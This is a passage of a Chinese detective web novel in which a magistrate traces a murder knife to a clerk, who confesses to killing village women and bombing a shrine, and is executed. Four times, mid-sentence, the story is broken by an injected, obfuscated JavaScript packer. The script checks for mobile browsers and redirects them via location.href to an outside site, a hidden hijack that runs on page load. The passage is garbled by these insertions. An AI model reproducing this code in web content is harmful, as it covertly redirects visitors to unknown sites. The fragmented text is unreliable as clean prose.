于是,他便跟自己的媳妇廖氏一起上了鸡鸣山,来到案发地,喊那几个病人的名字。 喊了一阵,他们觉得差不多了,便打算下山。 谁知,村长随身携带的木头小马掉进了一个很深的山洞里。这木头小马是他为孩子买的玩具,忘了拿出来,没想到会掉进去。 67.主人 这木头小马挺贵的,而且是孩子盼望了许久的玩具,村长便想将这玩具取出来。 可是山洞又窄又深,而且洞穴是往下的,并不是平行于地面的,十分难取。 村长夫人想了个主意,便是往山洞里灌水,木头小马自然就浮上来了。 但是这需要不少水,如果下山去取木桶,一来一回需要不少时间。 正在这时,鸡鸣山下起了暴雨。这山洞的洞口是朝上的,且地势比四周低,很容易积聚雨水。 暴雨结束,水已经灌进去许多,只是天色渐暗,看不清楚。 村长便伸手进去捞,没想到没捞到木头小马,反而捞到一把刀。 这把刀插在一块木头上,木头浮起来,把刀也带了上来。 村长夫妇仔细看了看这把刀,见上面有残留的血迹和肉碎,猜测这可能是凶器,便用一块布包了起来,打算拿给云水谣看看。 他们猜测,凶手可能是用这把刀割了死者腿上的肉,然后把刀丢进了这个山洞中。没想到山洞底部刚好有块木头,刀就插在了木头上。又因为天降暴雨,木头上浮,刀也被带出了水面。 这也是机缘巧合。 村长又在山洞里捞了一阵,把木头小马捞出来,然后便下了山,来到县衙。 由于今日是除夕,路上很堵,他们花了许多时间才来到这里。 云水谣听了他们的话,不禁在心里感慨,天网恢恢,疏而不漏。 她对村长夫妇道:“你们提供的物证很有用,这把刀可能就是凶手用过的。只是,不知道这把刀是谁的,否则就能顺藤摸瓜,找到凶手了。” 村长道:“大人,可否将这把刀拿到各个铁器铺去看看,让那些铁匠回忆一下是否打造过这样的刀?” 云水谣道:“这样恐怕很困难,铁匠不会记得自己打造过的所有东西的,这样做无异于大海捞针。不过,能找到这把刀,也是一大突破,你们立了大功。等本官破了此案,会论功行赏。” 村长夫妇有些欣慰地离开了。 云水谣把这把刀放在证物房里,看了好几遍。 她觉得有一点很奇怪:这把刀上有一个弯月形的凹槽,像是特意雕刻出来的。一般的刀不会特意雕出这样的形状,也许可以从这一点入手,寻找此刀的主人。 今夜衙门里值班的只有两个衙役,他们吃了宵夜,给云水谣送来一个小手炉,道:“大人,天气寒冷,您用这手炉暖暖手吧。这里面的炭火是我们刚烧的。” “好,多谢你们费心了。” 说着,云水谣便给了他们一点散碎银两。 两个衙役道了谢,准备离开。这时,其中一个衙役看到了那柄尖刀,道:“这把刀像是西城莫大叔的手艺。” 另一个衙役也说道:“看着像。” 云水谣问道:“你们说的西城莫大叔是谁?你们是怎么看出这柄刀出自他手?” “回大人,莫大叔是个铁匠,住在西城。因他为人和气,且他打造的铁器都物美价廉,认识他的人都尊称他一声莫大叔。至于怎么认出来的,就更容易了,莫大叔喜欢在自己打造的刀剑上雕刻图案,而且很少有重复的。前年我儿子出生,我去向莫大叔定制一柄刀,作为我儿子的礼物。莫大叔说庆祝我喜获麟儿,便在那柄刀上雕刻了一只麒麟。那麒麟虽小,却也有头有尾,栩栩如生。眼前这把刀上有弯月图案,且看雕工、画风跟莫大叔一惯的风格相近,想必是莫大叔雕刻的,且这柄刀的主人跟弯月有关。” 云水谣有些惊喜,道:“不知这莫大叔可在城中?若在,快引我去见,我有事问他。” “莫大叔就是土生土长的洛县人,这会是除夕夜,他一定在家的。我们俩带大人去吧。” 于是,他们立即出发,前往莫大叔家。 大概骑马行了半个时辰左右,便到了莫大叔家。 莫大叔的家人开了门,得知云水谣等人的来意,便马上带他们去见莫大叔。 莫大叔是个有些驼背的小老头,胡子花白,笑呵呵的。 他向云水谣行了礼,道:“没想到洛县来了位女官,果然活得久了什么都能见到,现在的女孩子越来越厉害啦……” 云水谣跟他客气了几句,便拿出那柄刀,请他鉴别:“莫大叔,您看看这柄刀是不是您打造的?” 莫大叔对着灯光看了看,道:“确实像是我的手笔。” “那您还记得这柄刀的主人是谁吗?” “这我不太记得了……” 云水谣有些沮丧,只听莫大叔又说道:“不过这刀的主人是谁,很容易就能查到。” “莫非您有记录?” “确实有记录,不过不是记在纸上,而是在刀柄上。” 莫大叔在那把刀的刀柄上一按,刀柄就自动分开成两截。 在其中一截刀柄上,刻着几个细小的篆字——“武德三年二月初四,田长生为妹田梦生日定制”。 武德三年,便是前年。从这句话可以看出,定制这把刀的人是田长生,是为了他妹妹的生日而定制的,他妹妹田梦的生日是在二月初四。 看到这句话,云水谣心中一凛。没想到获得了如此重要的物证,田长生这下怕是难以抵赖了。 本来只是怀疑他跟祠堂爆炸案有关,没想到在鸡鸣山上发现了属于田长生的匕首。 也就是说,云水谣之前的猜测没错,藕塘村的七名村妇被杀案,也跟田长生有关。否则,他的匕首为何会出现在鸡鸣山? 云水谣心跳如鼓,不仅是因为接近了真相而激动,也是为田长生的残忍、善于伪装而感到后怕和震撼。同时,也是因为她无意间得知了匕首的主人是田长生,感到非常庆幸。 莫大叔看了那行小字,又仔细看了看刀身上的新月形凹槽,道:“我想起来了,这确实是田长生定制的刀。他是在两年前的一月份来找我定制的,说是让我在二月初四前做好,因为二月初四是他妹妹的生日,他要送这把刀给她妹妹做防身之用。我有在刀身上雕刻的习惯,想着他妹妹既然是二月初四的生日,初四那天刚好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220693|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是弯月,因此便雕刻了一个弯月图案。” 云水谣点头:“原来如此。” 跟云水谣来的衙役说道:“莫大叔,原来您所做的刀柄可以拆开啊,我们都不知道。” 莫大叔笑道:“这是我的一个小设计,就看谁能发现了。但是这么多年,好像都没人发现过。拆开刀柄要用巧劲,如果我不教你们的话,你们很难自己研究出来的。” 衙役问道:“那我那柄刀呢?刀柄里面是否也刻字了?” “肯定刻了,我会写清楚定制的人、日期和定制的事由的。” “那太好了,我回去也拆开来看看。” 莫大叔问云水谣:“大人,这柄刀既然是田长生的,为何会在您手上?这上面的血迹是哪来的?” 云水谣道:“此事还不能泄露,日后便知。今日之事还请大家不要泄露出去。” 莫大叔和两个衙役都表示不会泄露,云水谣便离开了莫大叔家。 她本想直接拿着这柄刀去质问田长生,但田长生可能会辩解说,这把刀早就被偷了,所以凶案跟他没关系。 如果他这样说,自己又该如何应对? 云水谣回到家,躺在床上想了许久。 她忽然想到,这柄刀既然是田长生送给他妹妹的,也许平时都是由他妹妹田梦保管此刀。 也许从田梦身上,能找到突破口。 田长生要杀人,事先肯定瞒着他妹妹。如果他妹妹提前得知大哥的计划,心情必定是慌乱、压抑、紧张的,肯定没法弹出中正平和的曲子,让管越睡着。 曲子也是有能量的,而这能量是弹琴者赋予的。如果弹琴者自己心情都不安定、不轻松,又怎么能安抚听者的心情? 所以,这柄尖刀应该是田长生从他妹妹那里偷的,而他妹妹还不知情。 而田长生应该不会私底下跟妹妹交代这些,让妹妹为自己隐瞒。 因为田长生还是比较爱护妹妹的,从他一直带着妹妹生活,且没有把杀人计划告诉妹妹,便可以看出来。 而且,他一旦在妹妹面前承认自己偷了刀,田梦势必要问他偷刀做什么,那他杀人的事就很难在妹妹面前隐瞒。他妹妹是个善良的人,一旦知道了,就有报官的可能。虽然也有可能不报官,但妹妹跟他势必产生隔阂,这是田长生所不乐见的。 更为关键的一点,是田长生已经把那柄刀丢进了山洞中,他根本想不到这柄刀竟会浮出水面,所以他没有必要跟妹妹说刀的事。等妹妹自己发现刀不见了,就会以为是被偷了,怀疑不到哥哥身上。 所以,云水谣得尽快跟田梦私下见一面,询问一些事情。 而田梦一直待在家中,如果想要跟她私下见面,就必须将田长生支走。 云水谣想找县丞林复帮忙。于是第二天一大早,她就到林复门前等候。 林家的小厮开了门,见是云水谣来访,赶紧通报给林复。 林复将云水谣迎进去,问道:“大人,您在大年初一来访,是有什么事吗?” 68.承认 “林公,我有一事想请你帮忙。今日你去田长生家,无论用什么理由,把他支走,我想单独见他妹妹。” “此事容易,请大人放心。” “那好,一会我跟你一起去,你在明,我在暗。一旦田长生离开家,我就溜进田家。” “有两个小吏住在我家附近,我把他们叫上,跟大人一起。” “也好。” 林复去找了那两个小吏,说县令有事让他们帮忙。于是,他们便来到云水谣身边。 林复先出发,往田长生家去。待他走了一段路后,云水谣和两个小吏偷偷尾随,一路借助草帽等物遮蔽自己的样貌。 走了一阵后,田长生家到了。 林复先上去敲门,是田长生开的门。 林复跟田长生说了几句话,田长生便跟着他离开了。 接着,云水谣便带着两个小吏偷偷进入田家。 田梦正在厨房忙碌,一转头见到云水谣,便问道:“县令大人,您怎么来了?” “来给你拜年。” “不敢当,大人吃饭了吗?” “吃过了。对了田梦,我想问你一件事。” “什么事,大人请说。” “你哥以前是不是送过你一柄尖刀作为生日礼物?” “有,大人怎么知道?” “昨日见到了城西的铁匠莫大叔,闲聊起来时他说的。对了,那柄刀还在吗?” “在,我一直放在房间里。这柄刀是我大哥给我防身用的,所以我一直妥善收着。” “我想看看,你能拿来给我看吗?” “当然可以,大人请稍等。” 田梦回自己的房间翻找一阵,随即脸色慌张地跑出来,道:“大人,那柄刀不见了!” 云水谣问道:“什么时候不见的?” “我不清楚……但前几天我还看见过的。” “你确定前几天看见过?” “是的。” 云水谣对身边的小吏道:“记下来。” 小吏拿着纸笔,把田梦的话记录了下来。 云水谣问田梦:“若是本官找到了偷你刀的盗贼,你愿意出来作证吗?” “愿意。” “那你先跟本官回去吧。” 云水谣打算带田梦回县衙住着,让田梦和田长生分开,这样田长生就没法跟妹妹串供。 田梦见云水谣要带她走,不敢违抗,收拾了一些行李,跟云水谣离开了。 云水谣回到县衙后,收拾了一间后面的屋子给田梦住,让她不要出门,需要什么东西的话吩咐丫环去拿。 接着,云水谣便捧了一卷书看。 看了一会,县丞林复带着田长生来到了县衙。 这也是云水谣事先跟林复说好的,说让他带着田长生在外面逛逛,等过一段时间,带他到县衙来。 田长生见自己被带到县衙,有些疑惑,问林复道:“林公,为何带我来这里?你不是说要带我去看名种山茶花吗?” 林复道:“山茶花就在这里。” 此时,云水谣走了出来,对田长生道:“田长生,本官有事要问你。” 田长生有一种不好的预感,但强作镇定:“大人请问。” “有人在鸡鸣山的案发现场发现了一把刀,疑似是凶手割死者肉的凶器。这把刀在这里,你看看你是否认得?” 云水谣把那柄尖刀拿出来,给田长生看。 没想到,田长生看了两眼后,镇定地说:“回大人,这确实是我家的刀,是我以前给我妹妹的生日礼物。只是几个月前,此刀失窃,我也没去找。没想到,偷走刀的人竟用它来行凶。” 田长生并没有否认刀是他的,他可能觉得,云水谣既然拿刀来问他了,那对刀的来历肯定已经打听清楚,自己否认反而心虚。倒不如承认了,然后假称此刀是被人偷走,那鸡鸣山的七名村妇被杀案就跟他没有关系了。 不得不说,田长生很有急智,心理素质也很强。但他不知道,云水谣已料敌机先。 云水谣道:“你是说,这把刀在几个月前失窃了?” “正是。” “可据你妹妹所言,这把刀前几天还在她房间里,有她的证词在此,你要看看吗?” 云水谣把证词递过去,田长生的手开始发抖。 云水谣趁他心虚,继续说道:“田长生,你很聪明,你把这把刀扔进了一个深而窄的山洞中,自以为没有人能发现。可你没料到,昨日鸡鸣山下起了大雨,雨水灌进山洞中,而你那把尖刀刚好插在山洞底部的一块木头上,所以随着木头浮了上来。 本来本官没法断定这把刀的主人是谁,可铁匠莫大叔有个习惯,就是在刀柄里面刻字,写明刀的主人、定制的缘由、制作的日期。而这件事,他没有跟人说过,反倒无意间帮本官找到了刀的主人。如果你早知道刀柄里刻有你的名字的话,肯定不会拿这把刀去行凶吧?” 云水谣把刀柄拆开,里面那行字浮现在田长生眼前——“武德三年二月初四,田长生为妹田梦生日定制”。 田长生脸色惨白,跪坐在地。 他已经无可抵赖。 他为了让妹妹防身,定制了一把十分锋利的尖刀。而他计划着杀人之后割下死者的肉,需要一柄利器,那用这柄刀是最合适不过的。 他不知道这柄刀里竟会刻字,更想不到已经扔进山洞里的刀竟会浮出水面,否则绝不会选这把刀。 云水谣问道:“现在,你可以说说你的作案经过了吗?” 田长生道:“十二月初,藕塘村的七名妇女来跟我说,她们想关了店铺,回家相夫教子,让我办理一下注销店铺的手续。我劝她们不要关店,可她们不听我的,说是开店太辛苦,钱也不多,还是回家轻松一些。从那时起,我就对她们起了杀心。” “为什么?” 田长生的眼中流露出强烈的憎恨情绪:“因为她们该死!不上进、不努力的女人,就不应该活在这个世上!” 田长生平时说话挺斯文的,云水谣还是第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14228620|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他用如此可怕的声音说话。 云水谣稳定了心神,问道:“你为什么这么讨厌她们,甚至想让她们去死?” 田长生沉默着,没有立刻回答。 这时,在屋里的田梦听见了动静,跑了出来,来到田长生身边,道:“大哥,你真的杀了藕塘村那七名村妇?” 田长生道:“没错。” 田梦有些错愕、悲伤,但又露出一种果然如此的表情。 接着,田梦说道:“县令大人,我想我可以解释我哥为什么杀人。” 云水谣问道:“为何?” 田梦道:“从我和我哥小时候起,我们的母亲就一直在被父亲殴打、辱骂,几乎日日如此。父亲当年娶母亲时,花了大笔彩礼,但外公外婆并未给母亲嫁妆,婚礼的一切开销也由我父亲负责。从那时开始,父亲心里就有些不满了。婚后,母亲操持家务,父亲在外挣钱。渐渐的,他觉得母亲挣的钱太少,心里不平衡,便打骂母亲。 一开始,邻居会来劝,我和我哥也会帮着母亲。可每一次,母亲痛哭流涕后,又会原谅父亲,说父亲也不容易,然后继续跟他过日子。有很多次,邻居或亲戚说要带母亲去外面工作挣钱,只要母亲挣的钱多了,父亲就不会打骂她了。 可母亲过于懦弱和自卑,在家里待久了,已经丧失了外出拼搏的勇气,所以她以各种借口拒绝了,宁可每天在家干家务,然后被父亲打骂。大哥渐渐长大,为了维护母亲,多次跟父亲对打,被父亲打得遍体鳞伤。结果母亲非但不安慰大哥,反而说他身为儿子,不可以忤逆父亲。从那时起,大哥就更加沉默寡言。 我和大哥都跟人学琴,有一次一起出去上琴课,回家时,发现母亲躺倒在地,浑身是血,已经没了气息,看起来是被父亲活活打死的。我们去找父亲,发现父亲醉倒在床上,被自己的呕吐物呛死了。我们推测,父亲是喝多了酒之后,打死了母亲,又自己在床上睡着了,结果呕吐出了一些食物,自己又没有知觉,没法清理,所以活活呛死了。 那一天,我们同时失去了父母。我十一岁,大哥十三岁。大哥并未报官,大概是不想家丑外扬吧。他只对外说父母得了急病而死,然后将爹娘草草掩埋了。从那时起,我们兄妹就相依为命。我们约定了不成亲,一辈子住在一起,因为目睹了父母的婚姻,我们只感觉到绝望和痛苦。 这些年,大哥努力读书,勤奋上进,日子看似步入了正轨。可我知道,他的心理不健康,他非常痛恨那些不愿自立自强、只想依附于家庭的女人,就像我娘一样。一开始,有些妇女为了注销店铺去找他的时候,他回家会跟我说这些事,说自己厌恶那些女人,她们明明有独立的机会,有挣钱的能力,却选择了回归家庭。 我本以为他只是随口说说,没想到他竟起了杀心。” 田长生道:“我妹妹说得没错。我知道杀人要偿命,但直到现在,我仍然认为她们该死,我并不后悔杀了她们。” 云水谣问:“所以,金沙镇祠堂爆炸案的那些死者,也是你杀的?” 69.心计 “没错,那些女人也是一样,好好的工作不做,偏要回去相夫教子。凭她们这种懒惰、懦弱、没志气、贪图享乐的样子,能教出什么来?不如去死。” 云水谣叹息道:“你这样想,未免太偏激了。当人过得太辛苦时,想要放弃也是正常的想法。有很多男人十年寒窗,成为官员,但也有辞官归隐田园的,难道他们都该死吗?” “当然。不论男人还是女人,只要不上进都该死。如果没有机会也就罢了,可她们明明有机会可以过得更好,却放弃了。” “弓弦一直绷得很紧就会断,人也应该张弛有度才是。更何况,她们只是暂时辞去工作,以后还有继续工作的可能,你为何要杀了她们,绝了她们的后路?” “她们一旦回家,就不会再出去工作的,我了解这种女人。她们就跟我娘一样,总有各种各样的借口待在家里,说这么多家务不能缺了人,其实就是用身体上的勤劳掩盖思想上的懒惰。” “每个人的人生都有无限可能,沉入谷底的人也可能重新上升,你没有资格剥夺别人的生命,也没有资格评判别人的人生。你做这一切,都是源于内心深处对自己母亲的痛恨。你要做的是安抚自己受伤的情绪,而不是去杀害别人。” “云大人,你无法说服我,我也无法说服你。我看,我们还是不要讨论这个了。” “好吧,那你说说,你是如何制造这两起案子的。” “前段时间,陆陆续续有几十个妇女来找我,说想辞掉工作。我对她们起了杀心,但一个一个杀太麻烦了,而且容易被人发现。所以,我就想把同个地方的女人聚在一起杀。藕塘村有七个女人要辞工,金沙镇有十五个女人要辞工,我觉得我只要把她们聚在一起,只需动手两次,就能将她们全部杀光。 于是,我控制给她们办手续的时间,让她们能够在同一天回家。藕塘村的那七个村妇,我是在十二月二十五号给她们一起办完手续的。我对她们说,之前她们工作时,交了一部分收入到官府,因为她们开店得到了官府的资助。但现在她们要走了,我可以偷偷把这部分收入还给她们。只是这么做不符合规定,所以要悄悄进行。” 云水谣问:“所以,你约她们在二十六号早上卯时在鸡鸣山深处相见?” 田长生:“对,我让她们不可声张,一旦她们走漏风声,退钱一事就没法做了。于是,她们没告诉任何人,在二十六号一大早,跟家里人说去鸡鸣山挖冬笋,实际上她们是一起来见我。” 云水谣:“你给她们吃了有迷药的黄米糕,让她们陷入昏迷,然后扔进你事先挖好的深坑里?” 田长生:“没错。她们想不到我会杀她们,所以对于我给的糕点,自然没有防备。” “那个坑又大又深,布置起来需要不少功夫,所以你是提前很多天挖的坑?” “没错。自从我得知她们想辞工之后,我就开始准备这个杀人计划了。鸡鸣山深处是我选的埋尸地点,我花了五六天功夫,才布置好陷阱。在布置好之前,我会在陷阱正上方放上木板,用草丛遮掩,这样即便有人经过,也不会踩进陷阱。” “从你开始准备陷阱的时候,你就叫你的好友管越每日来你家中听曲,然后让你妹妹代为弹奏,你自己偷偷溜出去?” “对,管越有失眠症,他简直是我最佳的证人,可以证明我每天都在家。” “你是怎么说服你妹妹假扮你弹琴的?” “我只是跟她说我有大事要做,让她别多问。她很听我的话,也想不到我说的大事是杀人。” 听闻此言,一旁的田梦默默地哭了。 云水谣接着问:“这么说,你妹妹并未与你合谋?那几天前我问你,你妹妹是否会弹琴,你否认了,为何你妹妹也没说实话?” 田长生道:“我跟她说,县令为了升官,打算选几个貌美又会弹琴的女孩去给达官贵人弹奏,这些女孩可能会成为贵人们的婢妾,所以我让她隐瞒自己会弹琴的事。她信了我的话,所以您几次询问她是否会弹琴,她都否认。” 云水谣讽刺一笑:“原来你是这么骗她的,她无意间成了你隐瞒事实的帮凶。” “我便是再有智谋,如今也暴.露了,还有何可说的。” “深坑里的六把陌刀,你是从何处得来?” “是我爹的。以前他从过军,打造了许多陌刀,但去军中时只带了两把。家里有一些保存完好的陌刀,我都藏在厨房下面的暗室里。这些年我一直好好保养着这些刀,所以现在看起来也像新的一样。” “你对刀这么用心保存?难道你从很多年前就想杀人了?” “不是,我那时只是觉得,自己长大了也许有从军的可能,如果真的去从军,就可以用上家里的陌刀了,所以一直妥善保管着。” 没想到,这些陌刀没有被用在正道上,也挺讽刺的。 云水谣问道:“你用油毡布铺满深坑,又把其中一名死者的肉割下来,是为了把这起案子嫁祸给鸡鸣山中的军户?” “对,我知道鸡鸣山中有一批隐居的军户,且他们还有吃人的传言。不管是不是真的,我都打算把黑锅扣他们头上。尸体用防水防潮的油毡布包裹着,且其中一具尸体上少了十几斤肉,乍一看很像是那些军户为了吃人肉而杀人。” “那你又为何要把割下来的肉扔进马戏团所在的宅院中?” “因为我一早就知道马戏团那只老虎吃过人肉,不肯吃其他肉,我想把嫌疑往马戏团那边引。” “你是如何得知马戏团的老虎只吃人肉的?” 田长生道:“马戏团进入洛县的时候,由于携带了几柄陌刀,需要向官府报备。当时给他们登记的人就是我。我登记完后,马戏团的人偷偷问我,可否给他们一些死尸身上的肉,因为他们的老虎误食了人肉,现在不肯吃其他肉。我说便是有死尸,也不能喂给老虎吃,这不合规定,让他们另想办法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240077|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来,我杀了藕塘村的七名村妇,割下了一些人肉之后,本想将人肉随意丢弃,但又怕留下蛛丝马迹。我想将人肉扔到山中军户的住处,又不知道那些军户住在哪里。就在这时,我想到了马戏团。马戏团的老虎既然吃人肉,我若将这些肉丢到马戏团租的院子里,一定会被老虎吃掉。那么,马戏团的人也就有了嫌疑。别人会认为,他们为了保住老虎的性命,才杀人,割人肉给老虎吃。 但是,肉吃完就没了,我怕别人怀疑不到马戏团成员身上,因此便把那七具死尸身上的首饰、钱包都解下来,跟人肉一起丢进马戏团的院子里。正好那天院子里有一堆杂物,我将死者的遗物丢进去,并不明显。” 云水谣问道:“既然你已经决定将嫌疑引到山中军户身上,为何还要把马戏团扯进来呢?” “只有一批嫌疑人并不保险,所以我精心设计了两批嫌疑人。这样,就算死者被人发现,官府也会猜测到底是军户杀了人,还是马戏团成员杀了人。官府的思维集中在这两批人上面,就绝不会想到,杀人的是第三股势力。” 云水谣忍不住叹道:“你真是心计深沉,若把这份心思用在正道上,必会有所成就。我还有一个问题,你多次往返自己家和鸡鸣山,为何没被人发现?” “我自幼生长在洛县,熟知各种小路岔路,自有办法避人耳目。而且藕塘村附近的居民本就很少,避开他们并不困难。” “那么,金沙镇祠堂爆炸案呢?你是怎么保证那十五名辞工的妇女正好在祠堂里面?” “金沙镇那十五名妇女,来找我注销店铺的时间也是各不相同。我故意压着手续不给办理,直到十二月二十七日,才帮她们办理完成,她们才能一起回去。我对她们说,金沙镇重修族谱,有助于官府统计人口,所以官府会对修族谱有功之人给与奖赏。她们这段时间一直在外工作,没有为家乡修族谱一事做出贡献,本来是得不到奖励的。但是只要在修族谱当天,她们在祠堂里做饭,我就可以算她们有功劳,奖金也会有她们一份。于是,她们便答应在二十八号修祠堂时,一直在祠堂里做饭。” “怪不得她们会同时待在祠堂里,最后一起被炸死……那你又是如何保证其他人不在祠堂里呢?” “其他人我控制不了,她们如果跟那十五名妇女一起待在祠堂里,导致被炸死,那只能算她们倒霉。” “……” 虽然云水谣已经知道这两起命案都是田长生做的,但还是被他的话震惊了。 只要能杀死想杀的人,波及无辜的人也没关系。这就是他的想法。 云水谣道:“你事先调查过金沙镇的人,知道有个傻孩子阿风,就想利用他把装有炸药的木头放到祠堂?” “没错。” “炸药是怎么做出来的?” “我从小就对这方面有研究,做出强爆炸力的炸药并不难。” “你为什么会想到把嫌疑引到丁大志身上?” 70.失算 “我在制造爆炸案前,翻阅了金沙镇的卷宗,得知丁大志此人跟金沙镇的居民有仇。那么,他要复仇就很合理。而且,他在外地当土匪,一时半会也抓不到,他也不会跑到官府面前说自己是无辜的,毕竟他是做贼的,怎敢见官?” “所以,他是你选的最佳背锅者?” “没错。我穿上黑衣,蒙上面巾,去见了傻孩子阿风。我自称是丁大志,让阿风将木头放进祠堂的灶下,那么那些妇女烧柴火时,迟早会烧到有炸药的那一块木头,那一刻便是他们的死期。阿风是个傻孩子,没人会在意他。如果官府没有审讯他便罢,如果问到他身上,他也只会说出丁大志这个名字。在众人的印象里,傻.子是不会说谎的。所以,其他人一定会认为,制造爆炸案的一定是丁大志。” “可惜你没想到,阿风记忆力很好,能在一群蒙面人中认出你。” “能想出让全体官吏穿上黑衣、戴上面巾,让阿风来指认的主意,县令大人也很聪明啊。” “那是因为丁大志早就死了。” “什么?!” “你千算万算,却没料到,丁大志在几个月前已死,你还借用了他的名号来制造爆炸案。那我自然就会想到,能知道丁大志这个名字,还有丁大志跟金沙镇村民恩怨的,绝不会是普通人,要么便是金沙镇的居民,要么便是官府中人。官吏人员较少,所以我先排查官吏。没想到,这一试就试出你来了。” 田长生绝望地笑了:“没想到那个丁大志竟然已经死了,看来是天要亡我……我已经尽力做到掩盖每一个纰漏,但还是出现了好几件我预料不到的事。” “天网恢恢,疏而不漏,从你做坏事的那一刻起,便注定有这样的结局。” 田长生把一切说出来后,忽然觉得轻松多了。他抬头看了看天,天色晦暗,乌云蔽日,一如他的人生。 田梦眼泪汪汪地看着云水谣,问道:“大人,我哥会死吗?” 云水谣坚定地说:“杀人偿命,这是必须的。” 田长生一脸愧疚地看着妹妹:“梦儿,对不起,说好要一辈子互相照顾的,大哥要先走了。” 田梦哭道:“大哥,你为何要杀人啊,你应该知道,这是一条不归路……” “也许,从目睹父亲打骂母亲的那一刻起,我就已经在不归路上了……之前的那些年,我只不过是在伪装成正常人而已……” 田氏兄妹相对而泣,只有在此刻,田长生才展现出真实的自己。不是之前那个彬彬有礼的小吏,也不是前几日那个丧心病狂的杀人犯。他是一个在创伤中长大,始终没有被治愈的人。 而他心里的创伤,像是魔物一样,驱使着他对别人释放攻击性,最终铸成大错。 田长生对云水谣道:“县令大人,我甘愿赴死,只求您以后关照一下我妹妹。她是个单纯善良的人,我做的这些事,她完全不知道……她身体虽弱,但擅长弹琴,也能做饭,希望您能帮她自立。” 云水谣叹息道:“如果你真的这么为她考虑,就不该犯下杀人大案。你杀了太多人,不仅自己要偿命,你妹妹作为你的亲属,也要受到株连。你们家的家产要全部充公,你妹妹也要没入奴籍,充为官.妓。” 田长生的瞳孔骤然睁大,爬到云水谣脚边哀求道:“大人,求您网开一面……” “那你是否对那些无辜的妇人网开一面了?” 田长生无言以对,默默地看着地下。 田梦无声地哭着,她虽然哀叹自己的命运,却不敢求情,毕竟云水谣也只是按照律法办事。 云水谣道:“田长生,你安心去吧。本官可以便宜行事,让你妹妹当我的丫环,就不必充为官.妓了。只是,按照律法,她是一辈子不能赎身的。” 田长生磕了个头:“谢大人恩典。” 田梦也对云水谣感激不尽,连连磕头,云水谣将她扶了起来。 之前拘押的那些隐居军士,还有马戏团成员,确定无罪,可以释放了。 云水谣将他们释放,并送了一些年货给他们。今日是大年初一,希望他们都能去除晦气,辞旧迎新。 马戏团的那只老虎,因始终不肯吃动物肉,已经饿死了。这也算是最好的结局了,毕竟马戏团成员不必再费心给它找死人的肉。 田长生被判处死刑,死刑需由刑部复核,才能行刑。 由于田长生所犯之案十分重大,云水谣令衙役六百里加急,将案情上覆刑部。 几日之后,刑部便传回消息,准许执行死刑。 田长生在菜市口被斩首,田梦请求替他收尸,云水谣同意了。 只是,田梦一到刑场,就被愤怒的民众扔菜叶子、臭鸡蛋,还有人想动手打她,幸亏现场的士兵维持秩序,田梦才得以幸免。 她好不容易安葬了大哥,此后便安心待在云水谣身边做丫环。 兰心、彩月二人比较照顾她,她的心情也渐渐好了起来。 几天后的一个深夜,田长生的坟被刨了,其尸骨被挖出来,被人戳了几十刀,曝尸荒野。 由于没有目击者,也无法追责,云水谣只能命田梦再次收殓她大哥的遗骸。 田梦也没有哭闹,默默地把大哥的尸体重新埋好,只是这次没有立碑,而是在埋尸之处种上了荒草,这下谁也看不出来了。 管越仍是有失眠症,他知道之前为自己弹琴助眠的人是田梦,但现在顾忌着田梦失去亲人,心情不好,他也不敢再去找田梦,而是经常在云水谣的院子里徘徊。 云水谣知道他的意思,对他道:“我会让田梦继续为你弹琴,你可以跟她预约时间。不过,我希望以后你能付钱给她,毕竟她现在是奴籍,钱是她唯一的依靠了。” 管越道:“这个自然,我听她弹琴,便相当于治病了,治病自然要付诊金。” 云水谣又去劝说田梦继续为管越弹琴。田梦心里悲伤,本不想再弹琴,但云水谣说道:“你练琴多年,就此放弃太可惜了。我已经跟管越说了,让他付你钱。以后我想着,宣传一下你能用琴声治疗失眠症的事,为你寻找更多客户,那你就能赚更多钱了。这些钱你都可以自己留着,不用给我。” 田梦黯然道:“奴婢带罪之身,心灰意冷,早已没了弹琴的心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250026|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而且赚钱对我来说有什么用呢?” 